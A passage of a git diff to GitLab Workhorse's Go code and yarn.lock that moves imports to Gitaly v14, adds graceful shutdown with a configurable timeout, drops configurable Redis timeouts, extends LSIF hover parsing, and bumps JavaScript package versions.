+ DB *int
+ MaxIdle *int
+ MaxActive *int
}
type ImageResizerConfig struct {
@@ -106,6 +103,7 @@ type Config struct {
PropagateCorrelationID bool `toml:"-"`
ImageResizerConfig ImageResizerConfig `toml:"image_resizer"`
AltDocumentRoot string `toml:"alt_document_root"`
+ ShutdownTimeout TomlDuration `toml:"shutdown_timeout"`
}
var DefaultImageResizerConfig = ImageResizerConfig{
diff --git a/workhorse/internal/git/archive.go b/workhorse/internal/git/archive.go
index 361e1d00c0b..856076010e8 100644
--- a/workhorse/internal/git/archive.go
+++ b/workhorse/internal/git/archive.go
@@ -20,7 +20,7 @@ import (
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promauto"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
diff --git a/workhorse/internal/git/archive_test.go b/workhorse/internal/git/archive_test.go
index 4b0753499e5..2981121dfd6 100644
--- a/workhorse/internal/git/archive_test.go
+++ b/workhorse/internal/git/archive_test.go
@@ -5,7 +5,7 @@ import (
"net/http/httptest"
"testing"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
diff --git a/workhorse/internal/git/blob.go b/workhorse/internal/git/blob.go
index 472f5d0bc96..68d342862fd 100644
--- a/workhorse/internal/git/blob.go
+++ b/workhorse/internal/git/blob.go
@@ -4,7 +4,7 @@ import (
"fmt"
"net/http"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
diff --git a/workhorse/internal/git/diff.go b/workhorse/internal/git/diff.go
index 51cadeecb65..49d979d0df4 100644
--- a/workhorse/internal/git/diff.go
+++ b/workhorse/internal/git/diff.go
@@ -4,7 +4,7 @@ import (
"fmt"
"net/http"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
diff --git a/workhorse/internal/git/format-patch.go b/workhorse/internal/git/format-patch.go
index 3a65fc2a7a2..62519e5cc2f 100644
--- a/workhorse/internal/git/format-patch.go
+++ b/workhorse/internal/git/format-patch.go
@@ -4,7 +4,7 @@ import (
"fmt"
"net/http"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
diff --git a/workhorse/internal/git/snapshot.go b/workhorse/internal/git/snapshot.go
index bd9405a28d0..553af7f4c38 100644
--- a/workhorse/internal/git/snapshot.go
+++ b/workhorse/internal/git/snapshot.go
@@ -5,7 +5,7 @@ import (
"io"
"net/http"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
diff --git a/workhorse/internal/git/upload-pack_test.go b/workhorse/internal/git/upload-pack_test.go
index c198939d5df..9ee199a5402 100644
--- a/workhorse/internal/git/upload-pack_test.go
+++ b/workhorse/internal/git/upload-pack_test.go
@@ -13,7 +13,7 @@ import (
"github.com/stretchr/testify/require"
"google.golang.org/grpc"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/gitaly"
diff --git a/workhorse/internal/gitaly/blob.go b/workhorse/internal/gitaly/blob.go
index c6f5d6676f3..123fa6e9a4c 100644
--- a/workhorse/internal/gitaly/blob.go
+++ b/workhorse/internal/gitaly/blob.go
@@ -7,8 +7,8 @@ import (
"net/http"
"strconv"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
- "gitlab.com/gitlab-org/gitaly/streamio"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/streamio"
)
type BlobClient struct {
diff --git a/workhorse/internal/gitaly/diff.go b/workhorse/internal/gitaly/diff.go
index 035a58ec6fd..50bf848b8d3 100644
--- a/workhorse/internal/gitaly/diff.go
+++ b/workhorse/internal/gitaly/diff.go
@@ -6,8 +6,8 @@ import (
"io"
"net/http"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
- "gitlab.com/gitlab-org/gitaly/streamio"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/streamio"
)
type DiffClient struct {
diff --git a/workhorse/internal/gitaly/gitaly.go b/workhorse/internal/gitaly/gitaly.go
index c739ac8d9b2..0aa35325555 100644
--- a/workhorse/internal/gitaly/gitaly.go
+++ b/workhorse/internal/gitaly/gitaly.go
@@ -11,9 +11,9 @@ import (
grpc_prometheus "github.com/grpc-ecosystem/go-grpc-prometheus"
"github.com/prometheus/client_golang/prometheus"
"github.com/prometheus/client_golang/prometheus/promauto"
- gitalyauth "gitlab.com/gitlab-org/gitaly/auth"
- gitalyclient "gitlab.com/gitlab-org/gitaly/client"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ gitalyauth "gitlab.com/gitlab-org/gitaly/v14/auth"
+ gitalyclient "gitlab.com/gitlab-org/gitaly/v14/client"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"google.golang.org/grpc"
"google.golang.org/grpc/metadata"
diff --git a/workhorse/internal/gitaly/namespace.go b/workhorse/internal/gitaly/namespace.go
index 6db6ed4fc32..e2fe7a3c63f 100644
--- a/workhorse/internal/gitaly/namespace.go
+++ b/workhorse/internal/gitaly/namespace.go
@@ -1,6 +1,6 @@
package gitaly
-import "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+import "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
// NamespaceClient encapsulates NamespaceService calls
type NamespaceClient struct {
diff --git a/workhorse/internal/gitaly/repository.go b/workhorse/internal/gitaly/repository.go
index e3ec3257a85..425a28befe8 100644
--- a/workhorse/internal/gitaly/repository.go
+++ b/workhorse/internal/gitaly/repository.go
@@ -5,8 +5,8 @@ import (
"fmt"
"io"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
- "gitlab.com/gitlab-org/gitaly/streamio"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/streamio"
)
// RepositoryClient encapsulates RepositoryService calls
diff --git a/workhorse/internal/gitaly/smarthttp.go b/workhorse/internal/gitaly/smarthttp.go
index d1fe6fae5ba..69656ab0a92 100644
--- a/workhorse/internal/gitaly/smarthttp.go
+++ b/workhorse/internal/gitaly/smarthttp.go
@@ -5,8 +5,8 @@ import (
"fmt"
"io"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
- "gitlab.com/gitlab-org/gitaly/streamio"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/streamio"
)
type SmartHTTPClient struct {
diff --git a/workhorse/internal/gitaly/unmarshal_test.go b/workhorse/internal/gitaly/unmarshal_test.go
index e2256903339..270b96f900d 100644
--- a/workhorse/internal/gitaly/unmarshal_test.go
+++ b/workhorse/internal/gitaly/unmarshal_test.go
@@ -4,7 +4,7 @@ import (
"testing"
"github.com/stretchr/testify/require"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
)
func TestUnmarshalJSON(t *testing.T) {
diff --git a/workhorse/internal/httprs/httprs_test.go b/workhorse/internal/httprs/httprs_test.go
index 62279d895c9..e26d2d21215 100644
--- a/workhorse/internal/httprs/httprs_test.go
+++ b/workhorse/internal/httprs/httprs_test.go
@@ -53,6 +53,10 @@ func (f *fakeRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) {
if err != nil {
return nil, err
}
+ if err := os.Remove(fw.tmp.Name()); err != nil {
+ return nil, err
+ }
+
if f.downgradeZeroToNoRange {
// There are implementations that downgrades bytes=0- to a normal un-ranged GET
if r.Header.Get("Range") == "bytes=0-" {
@@ -79,6 +83,10 @@ func newRSFactory(flags int) RSFactory {
if err != nil {
return nil
}
+ if err := os.Remove(tmp.Name()); err != nil {
+ return nil
+ }
+
for i := 0; i < SZ; i++ {
tmp.WriteString(fmt.Sprintf("%04d", i))
}
diff --git a/workhorse/internal/lsif_transformer/parser/code_hover.go b/workhorse/internal/lsif_transformer/parser/code_hover.go
index dbdaba643d1..5651ea8e5a3 100644
--- a/workhorse/internal/lsif_transformer/parser/code_hover.go
+++ b/workhorse/internal/lsif_transformer/parser/code_hover.go
@@ -50,9 +50,29 @@ func (ts *truncatableString) MarshalJSON() ([]byte, error) {
return json.Marshal(ts.Value)
}
+func newCodeHovers(contents json.RawMessage) ([]*codeHover, error) {
+ var rawContents []json.RawMessage
+ if err := json.Unmarshal(contents, &rawContents); err != nil {
+ rawContents = []json.RawMessage{contents}
+ }
+
+ codeHovers := []*codeHover{}
+ for _, rawContent := range rawContents {
+ c, err := newCodeHover(rawContent)
+ if err != nil {
+ return nil, err
+ }
+
+ codeHovers = append(codeHovers, c)
+ }
+
+ return codeHovers, nil
+}
+
func newCodeHover(content json.RawMessage) (*codeHover, error) {
// Hover value can be either an object: { "value": "func main()", "language": "go" }
// Or a string with documentation
+ // Or a markdown object: { "value": "```go\nfunc main()\n```", "kind": "markdown" }
// We try to unmarshal the content into a string and if we fail, we unmarshal it into an object
var c codeHover
if err := json.Unmarshal(content, &c.TruncatedValue); err != nil {
diff --git a/workhorse/internal/lsif_transformer/parser/code_hover_test.go b/workhorse/internal/lsif_transformer/parser/code_hover_test.go
index 2030e530155..c09636b2f76 100644
--- a/workhorse/internal/lsif_transformer/parser/code_hover_test.go
+++ b/workhorse/internal/lsif_transformer/parser/code_hover_test.go
@@ -64,21 +64,33 @@ func TestHighlight(t *testing.T) {
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
- raw := []byte(fmt.Sprintf(`{"language":"%s","value":"%s"}`, tt.language, tt.value))
- c, err := newCodeHover(json.RawMessage(raw))
+ raw := []byte(fmt.Sprintf(`[{"language":"%s","value":"%s"}]`, tt.language, tt.value))
+ c, err := newCodeHovers(json.RawMessage(raw))
require.NoError(t, err)
- require.Equal(t, tt.want, c.Tokens)
+ require.Len(t, c, 1)
+ require.Equal(t, tt.want, c[0].Tokens)
})
}
}
func TestMarkdown(t *testing.T) {
- value := `"This method reverses a string \n\n"`
- c, err := newCodeHover(json.RawMessage(value))
+ value := `["This method reverses a string \n\n"]`
+ c, err := newCodeHovers(json.RawMessage(value))
require.NoError(t, err)
- require.Equal(t, "This method reverses a string \n\n", c.TruncatedValue.Value)
+ require.Len(t, c, 1)
+ require.Equal(t, "This method reverses a string \n\n", c[0].TruncatedValue.Value)
+}
+
+func TestMarkdownContentsFormat(t *testing.T) {
+ value := `{"kind":"markdown","value":"some _markdown_ **text**"}`
+ c, err := newCodeHovers(json.RawMessage(value))
+
+ require.NoError(t, err)
+ require.Len(t, c, 1)
+ require.Equal(t, [][]token(nil), c[0].Tokens)
+ require.Equal(t, "some _markdown_ **text**", c[0].TruncatedValue.Value)
}
func TestTruncatedValue(t *testing.T) {
diff --git a/workhorse/internal/lsif_transformer/parser/hovers.go b/workhorse/internal/lsif_transformer/parser/hovers.go
index e96d7e4fca3..5889d595ade 100644
--- a/workhorse/internal/lsif_transformer/parser/hovers.go
+++ b/workhorse/internal/lsif_transformer/parser/hovers.go
@@ -18,7 +18,7 @@ type Hovers struct {
}
type RawResult struct {
- Contents []json.RawMessage `json:"contents"`
+ Contents json.RawMessage `json:"contents"`
}
type RawData struct {
@@ -107,14 +107,9 @@ func (h *Hovers) addData(line []byte) error {
return err
}
- codeHovers := []*codeHover{}
- for _, rawContent := range rawData.Result.Contents {
- c, err := newCodeHover(rawContent)
- if err != nil {
- return err
- }
-
- codeHovers = append(codeHovers, c)
+ codeHovers, err := newCodeHovers(rawData.Result.Contents)
+ if err != nil {
+ return err
}
codeHoversData, err := json.Marshal(codeHovers)
diff --git a/workhorse/internal/objectstore/multipart.go b/workhorse/internal/objectstore/multipart.go
index fd1c0ed487d..4c5b64b27ee 100644
--- a/workhorse/internal/objectstore/multipart.go
+++ b/workhorse/internal/objectstore/multipart.go
@@ -11,7 +11,6 @@ import (
"net/http"
"os"
- "gitlab.com/gitlab-org/labkit/log"
"gitlab.com/gitlab-org/labkit/mask"
)
@@ -98,11 +97,11 @@ func (m *Multipart) readAndUploadOnePart(ctx context.Context, partURL string, pu
if err != nil {
return nil, fmt.Errorf("create temporary buffer file: %v", err)
}
- defer func(path string) {
- if err := os.Remove(path); err != nil {
- log.WithError(err).WithField("file", path).Warning("Unable to delete temporary file")
- }
- }(file.Name())
+ defer file.Close()
+
+ if err := os.Remove(file.Name()); err != nil {
+ return nil, err
+ }
n, err := io.Copy(file, src)
if err != nil {
diff --git a/workhorse/internal/redis/keywatcher.go b/workhorse/internal/redis/keywatcher.go
index 8f3e61b5e9f..10d80d13d22 100644
--- a/workhorse/internal/redis/keywatcher.go
+++ b/workhorse/internal/redis/keywatcher.go
@@ -17,6 +17,7 @@ import (
var (
keyWatcher = make(map[string][]chan string)
keyWatcherMutex sync.Mutex
+ shutdown = make(chan struct{})
redisReconnectTimeout = backoff.Backoff{
//These are the defaults
Min: 100 * time.Millisecond,
@@ -112,6 +113,20 @@ func Process() {
}
}
+func Shutdown() {
+ log.Info("keywatcher: shutting down")
+
+ keyWatcherMutex.Lock()
+ defer keyWatcherMutex.Unlock()
+
+ select {
+ case <-shutdown:
+ // already closed
+ default:
+ close(shutdown)
+ }
+}
+
func notifyChanWatchers(key, value string) {
keyWatcherMutex.Lock()
defer keyWatcherMutex.Unlock()
@@ -182,6 +197,9 @@ func WatchKey(key, value string, timeout time.Duration) (WatchKeyStatus, error)
}
select {
+ case <-shutdown:
+ log.WithFields(log.Fields{"key": key}).Info("stopping watch due to shutdown")
+ return WatchKeyStatusNoChange, nil
case currentValue := <-kw.Chan:
if currentValue == "" {
return WatchKeyStatusNoChange, fmt.Errorf("keywatcher: redis GET failed")
diff --git a/workhorse/internal/redis/keywatcher_test.go b/workhorse/internal/redis/keywatcher_test.go
index f1ee77e2194..99892bc64b8 100644
--- a/workhorse/internal/redis/keywatcher_test.go
+++ b/workhorse/internal/redis/keywatcher_test.go
@@ -160,3 +160,58 @@ func TestWatchKeyMassivelyParallel(t *testing.T) {
processMessages(runTimes, "somethingelse")
wg.Wait()
}
+
+func TestShutdown(t *testing.T) {
+ conn, td := setupMockPool()
+ defer td()
+ defer func() { shutdown = make(chan struct{}) }()
+
+ conn.Command("GET", runnerKey).Expect("something")
+
+ wg := &sync.WaitGroup{}
+ wg.Add(2)
+
+ go func() {
+ val, err := WatchKey(runnerKey, "something", 10*time.Second)
+
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusNoChange, val, "Expected value not to change")
+ wg.Done()
+ }()
+
+ go func() {
+ for countWatchers(runnerKey) == 0 {
+ time.Sleep(time.Millisecond)
+ }
+
+ require.Equal(t, 1, countWatchers(runnerKey))
+
+ Shutdown()
+ wg.Done()
+ }()
+
+ wg.Wait()
+
+ for countWatchers(runnerKey) == 1 {
+ time.Sleep(time.Millisecond)
+ }
+
+ require.Equal(t, 0, countWatchers(runnerKey))
+
+ // Adding a key after the shutdown should result in an immediate response
+ var val WatchKeyStatus
+ var err error
+ done := make(chan struct{})
+ go func() {
+ val, err = WatchKey(runnerKey, "something", 10*time.Second)
+ close(done)
+ }()
+
+ select {
+ case <-done:
+ require.NoError(t, err, "Expected no error")
+ require.Equal(t, WatchKeyStatusNoChange, val, "Expected value not to change")
+ case <-time.After(100 * time.Millisecond):
+ t.Fatal("timeout waiting for WatchKey")
+ }
+}
diff --git a/workhorse/internal/redis/redis.go b/workhorse/internal/redis/redis.go
index 0029a2a9e2b..b11a8184bca 100644
--- a/workhorse/internal/redis/redis.go
+++ b/workhorse/internal/redis/redis.go
@@ -113,21 +113,9 @@ var poolDialFunc func() (redis.Conn, error)
var workerDialFunc func() (redis.Conn, error)
func timeoutDialOptions(cfg *config.RedisConfig) []redis.DialOption {
- readTimeout := defaultReadTimeout
- writeTimeout := defaultWriteTimeout
-
- if cfg != nil {
- if cfg.ReadTimeout != nil {
- readTimeout = cfg.ReadTimeout.Duration
- }
-
- if cfg.WriteTimeout != nil {
- writeTimeout = cfg.WriteTimeout.Duration
- }
- }
return []redis.DialOption{
- redis.DialReadTimeout(readTimeout),
- redis.DialWriteTimeout(writeTimeout),
+ redis.DialReadTimeout(defaultReadTimeout),
+ redis.DialWriteTimeout(defaultWriteTimeout),
}
}
@@ -148,47 +136,45 @@ func dialOptionsBuilder(cfg *config.RedisConfig, setTimeouts bool) []redis.DialO
return dopts
}
-func keepAliveDialer(timeout time.Duration) func(string, string) (net.Conn, error) {
- return func(network, address string) (net.Conn, error) {
- addr, err := net.ResolveTCPAddr(network, address)
- if err != nil {
- return nil, err
- }
- tc, err := net.DialTCP(network, nil, addr)
- if err != nil {
- return nil, err
- }
- if err := tc.SetKeepAlive(true); err != nil {
- return nil, err
- }
- if err := tc.SetKeepAlivePeriod(timeout); err != nil {
- return nil, err
- }
- return tc, nil
+func keepAliveDialer(network, address string) (net.Conn, error) {
+ addr, err := net.ResolveTCPAddr(network, address)
+ if err != nil {
+ return nil, err
}
+ tc, err := net.DialTCP(network, nil, addr)
+ if err != nil {
+ return nil, err
+ }
+ if err := tc.SetKeepAlive(true); err != nil {
+ return nil, err
+ }
+ if err := tc.SetKeepAlivePeriod(defaultKeepAlivePeriod); err != nil {
+ return nil, err
+ }
+ return tc, nil
}
type redisDialerFunc func() (redis.Conn, error)
-func sentinelDialer(dopts []redis.DialOption, keepAlivePeriod time.Duration) redisDialerFunc {
+func sentinelDialer(dopts []redis.DialOption) redisDialerFunc {
return func() (redis.Conn, error) {
address, err := sntnl.MasterAddr()
if err != nil {
errorCounter.WithLabelValues("master", "sentinel").Inc()
return nil, err
}
- dopts = append(dopts, redis.DialNetDial(keepAliveDialer(keepAlivePeriod)))
+ dopts = append(dopts, redis.DialNetDial(keepAliveDialer))
return redisDial("tcp", address, dopts...)
}
}
-func defaultDialer(dopts []redis.DialOption, keepAlivePeriod time.Duration, url url.URL) redisDialerFunc {
+func defaultDialer(dopts []redis.DialOption, url url.URL) redisDialerFunc {
return func() (redis.Conn, error) {
if url.Scheme == "unix" {
return redisDial(url.Scheme, url.Path, dopts...)
}
- dopts = append(dopts, redis.DialNetDial(keepAliveDialer(keepAlivePeriod)))
+ dopts = append(dopts, redis.DialNetDial(keepAliveDialer))
// redis.DialURL only works with redis[s]:// URLs
if url.Scheme == "redis" || url.Scheme == "rediss" {
@@ -231,15 +217,11 @@ func countDialer(dialer redisDialerFunc) redisDialerFunc {
// DefaultDialFunc should always used. Only exception is for unit-tests.
func DefaultDialFunc(cfg *config.RedisConfig, setReadTimeout bool) func() (redis.Conn, error) {
- keepAlivePeriod := defaultKeepAlivePeriod
- if cfg.KeepAlivePeriod != nil {
- keepAlivePeriod = cfg.KeepAlivePeriod.Duration
- }
dopts := dialOptionsBuilder(cfg, setReadTimeout)
if sntnl != nil {
- return countDialer(sentinelDialer(dopts, keepAlivePeriod))
+ return countDialer(sentinelDialer(dopts))
}
- return countDialer(defaultDialer(dopts, keepAlivePeriod, cfg.URL.URL))
+ return countDialer(defaultDialer(dopts, cfg.URL.URL))
}
// Configure redis-connection
diff --git a/workhorse/internal/redis/redis_test.go b/workhorse/internal/redis/redis_test.go
index f4b4120517d..eee2f99bbbf 100644
--- a/workhorse/internal/redis/redis_test.go
+++ b/workhorse/internal/redis/redis_test.go
@@ -96,13 +96,11 @@ func TestConfigureMinimalConfig(t *testing.T) {
func TestConfigureFullConfig(t *testing.T) {
i, a := 4, 10
- r := config.TomlDuration{Duration: 3}
cfg := &config.RedisConfig{
- URL: config.TomlURL{},
- Password: "",
- MaxIdle: &i,
- MaxActive: &a,
- ReadTimeout: &r,
+ URL: config.TomlURL{},
+ Password: "",
+ MaxIdle: &i,
+ MaxActive: &a,
}
Configure(cfg, DefaultDialFunc)
@@ -219,11 +217,7 @@ func TestDialOptionsBuildersSetTimeouts(t *testing.T) {
}
func TestDialOptionsBuildersSetTimeoutsConfig(t *testing.T) {
- cfg := &config.RedisConfig{
- ReadTimeout: &config.TomlDuration{Duration: time.Second * time.Duration(15)},
- WriteTimeout: &config.TomlDuration{Duration: time.Second * time.Duration(15)},
- }
- dopts := dialOptionsBuilder(cfg, true)
+ dopts := dialOptionsBuilder(nil, true)
require.Equal(t, 2, len(dopts))
}
diff --git a/workhorse/internal/testhelper/gitaly.go b/workhorse/internal/testhelper/gitaly.go
index 24884505440..020a5863e2d 100644
--- a/workhorse/internal/testhelper/gitaly.go
+++ b/workhorse/internal/testhelper/gitaly.go
@@ -10,7 +10,7 @@ import (
"github.com/golang/protobuf/jsonpb" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
"github.com/golang/protobuf/proto" //lint:ignore SA1019 https://gitlab.com/gitlab-org/gitlab-workhorse/-/issues/274
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/labkit/log"
"golang.org/x/net/context"
"google.golang.org/grpc/codes"
diff --git a/workhorse/main.go b/workhorse/main.go
index 47ab63a875a..de282b2c670 100644
--- a/workhorse/main.go
+++ b/workhorse/main.go
@@ -1,6 +1,7 @@
package main
import (
+ "context"
"flag"
"fmt"
"io/ioutil"
@@ -8,6 +9,7 @@ import (
"net/http"
_ "net/http/pprof"
"os"
+ "os/signal"
"syscall"
"time"
@@ -102,7 +104,7 @@ func buildConfig(arg0 string, args []string) (*bootConfig, *config.Config, error
fset.UintVar(&cfg.APILimit, "apiLimit", 0, "Number of API requests allowed at single time")
fset.UintVar(&cfg.APIQueueLimit, "apiQueueLimit", 0, "Number of API requests allowed to be queued")
fset.DurationVar(&cfg.APIQueueTimeout, "apiQueueDuration", queueing.DefaultTimeout, "Maximum queueing duration of requests")
- fset.DurationVar(&cfg.APICILongPollingDuration, "apiCiLongPollingDuration", 50, "Long polling duration for job requesting for runners (default 50s - enabled)")
+ fset.DurationVar(&cfg.APICILongPollingDuration, "apiCiLongPollingDuration", 50, "Long polling duration for job requesting for runners")
fset.BoolVar(&cfg.PropagateCorrelationID, "propagateCorrelationID", false, "Reuse existing Correlation-ID from the incoming request header `X-Request-ID` if present")
if err := fset.Parse(args); err != nil {
@@ -144,6 +146,7 @@ func buildConfig(arg0 string, args []string) (*bootConfig, *config.Config, error
cfg.ObjectStorageCredentials = cfgFromFile.ObjectStorageCredentials
cfg.ImageResizerConfig = cfgFromFile.ImageResizerConfig
cfg.AltDocumentRoot = cfgFromFile.AltDocumentRoot
+ cfg.ShutdownTimeout = cfgFromFile.ShutdownTimeout
return boot, cfg, nil
}
@@ -225,7 +228,22 @@ func run(boot bootConfig, cfg config.Config) error {
up := wrapRaven(upstream.NewUpstream(cfg, accessLogger))
- go func() { finalErrors <- http.Serve(listener, up) }()
+ done := make(chan os.Signal, 1)
+ signal.Notify(done, syscall.SIGINT, syscall.SIGTERM)
- return <-finalErrors
+ server := http.Server{Handler: up}
+ go func() { finalErrors <- server.Serve(listener) }()
+
+ select {
+ case err := <-finalErrors:
+ return err
+ case sig := <-done:
+ log.WithFields(log.Fields{"shutdown_timeout_s": cfg.ShutdownTimeout.Duration.Seconds(), "signal": sig.String()}).Infof("shutdown initiated")
+
+ ctx, cancel := context.WithTimeout(context.Background(), cfg.ShutdownTimeout.Duration) // lint:allow context.Background
+ defer cancel()
+
+ redis.Shutdown()
+ return server.Shutdown(ctx)
+ }
}
diff --git a/workhorse/main_test.go b/workhorse/main_test.go
index 5729d2412bc..1e59eea9cf1 100644
--- a/workhorse/main_test.go
+++ b/workhorse/main_test.go
@@ -23,7 +23,7 @@ import (
"github.com/sirupsen/logrus"
"github.com/stretchr/testify/require"
- "gitlab.com/gitlab-org/gitaly/proto/go/gitalypb"
+ "gitlab.com/gitlab-org/gitaly/v14/proto/go/gitalypb"
"gitlab.com/gitlab-org/labkit/log"
"gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
diff --git a/yarn.lock b/yarn.lock
index ef7d8021ca9..cbbe7a1114e 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -847,15 +847,15 @@
exec-sh "^0.3.2"
minimist "^1.2.0"
-"@eslint/eslintrc@^0.4.1":
- version "0.4.1"
- resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.4.1.tgz#442763b88cecbe3ee0ec7ca6d6dd6168550cbf14"
- integrity sha512-5v7TDE9plVhvxQeWLXDTvFvJBdH6pEsdnl2g/dAptmuFEPedQ4Erq5rsDsX+mvAM610IhNaO2W5V1dOOnDKxkQ==
+"@eslint/eslintrc@^0.4.2":
+ version "0.4.2"
+ resolved "https://registry.yarnpkg.com/@eslint/eslintrc/-/eslintrc-0.4.2.tgz#f63d0ef06f5c0c57d76c4ab5f63d3835c51b0179"
+ integrity sha512-8nmGq/4ycLpIwzvhI4tNDmQztZ8sp+hI7cyG8i1nQDhkAbRzHpXPidRAHlNvCZQpJTKw5ItIpMw9RSToGF00mg==
dependencies:
ajv "^6.12.4"
debug "^4.1.1"
espree "^7.3.0"
- globals "^12.1.0"
+ globals "^13.9.0"
ignore "^4.0.6"
import-fresh "^3.2.1"
js-yaml "^3.13.1"
@@ -898,26 +898,26 @@
stylelint-declaration-strict-value "1.7.7"
stylelint-scss "3.18.0"
-"@gitlab/svgs@1.197.0":
- version "1.197.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.197.0.tgz#70be3217b4c0c84b494615d0672734f40e3695d4"
- integrity sha512-fW9EY3D1adWu4bGqo+74uElQ+U7qIxUM/I2np3133AZBeWK8bvW+92/SHpGQeINxcS/DBVOoepUSSUVvQEqroQ==
+"@gitlab/svgs@1.199.0":
+ version "1.199.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-1.199.0.tgz#0512a854018defc4e286b8ecb2143958bb535146"
+ integrity sha512-c/6SrvnQzkb4mfDzlHSnl/1zqUkqFZjkJmNHEb0E29l6XDLg3LQaUEMxSVGWIpW1D1RXG3zcGs845W12/WhciQ==
"@gitlab/tributejs@1.0.0":
version "1.0.0"
resolved "https://registry.yarnpkg.com/@gitlab/tributejs/-/tributejs-1.0.0.tgz#672befa222aeffc83e7d799b0500a7a4418e59b8"
integrity sha512-nmKw1+hB6MHvlmPz63yPwVs1qQkycHwsKgxpEbzmky16Y6mL4EJMk3w1b8QlOAF/AIAzjCERPhe/R4MJiohbZw==
-"@gitlab/ui@29.27.0":
- version "29.27.0"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-29.27.0.tgz#c5cbe1fee2164705ea6a431c85f6fdaa2ff7e166"
- integrity sha512-VoiYrozWyE9l/ddX308vsu+wQqaJJN3csngIlrJit3DzVZV9Z/OVWU/X9CWV8m/ubyr5ysEMqnrtnsQClR9FiA==
+"@gitlab/ui@29.35.0":
+ version "29.35.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-29.35.0.tgz#bb04d1e4f8796134bc406adaa869c1b5b1fdcaf2"
+ integrity sha512-Fso++QXqxZSfIgSmPGlfQC3mdFI6oh/AOL/9cGn4t/3kfxwHd1GCMjUNAFeHsgyIwKIr1hwksipapwuuOIFSCw==
dependencies:
"@babel/standalone" "^7.0.0"
"@gitlab/vue-toasted" "^1.3.0"
- bootstrap-vue "2.17.3"
+ bootstrap-vue "2.18.1"
copy-to-clipboard "^3.0.8"
- dompurify "^2.2.8"
+ dompurify "^2.2.9"
echarts "^4.9.0"
highlight.js "^10.6.0"
js-beautify "^1.8.8"
@@ -1157,14 +1157,14 @@
dependencies:
mkdirp "^1.0.4"
-"@nuxt/opencollective@^0.3.0":
- version "0.3.0"
- resolved "https://registry.yarnpkg.com/@nuxt/opencollective/-/opencollective-0.3.0.tgz#11d8944dcf2d526e31660bb69570be03f8fb72b7"
- integrity sha512-Vf09BxCdj1iT2IRqVwX5snaY2WCTkvM0O4cWWSO1ThCFuc4if0Q/nNwAgCxRU0FeYHJ7DdyMUNSdswCLKlVqeg==
+"@nuxt/opencollective@^0.3.2":
+ version "0.3.2"
+ resolved "https://registry.yarnpkg.com/@nuxt/opencollective/-/opencollective-0.3.2.tgz#83cb70cdb2bac5fad6f8c93529e7b11187d49c02"
+ integrity sha512-XG7rUdXG9fcafu9KTDIYjJSkRO38EwjlKYIb5TQ/0WDbiTUTtUtgncMscKOYzfsY86kGs05pAuMOR+3Fi0aN3A==
dependencies:
- chalk "^2.4.2"
- consola "^2.10.1"
- node-fetch "^2.6.0"
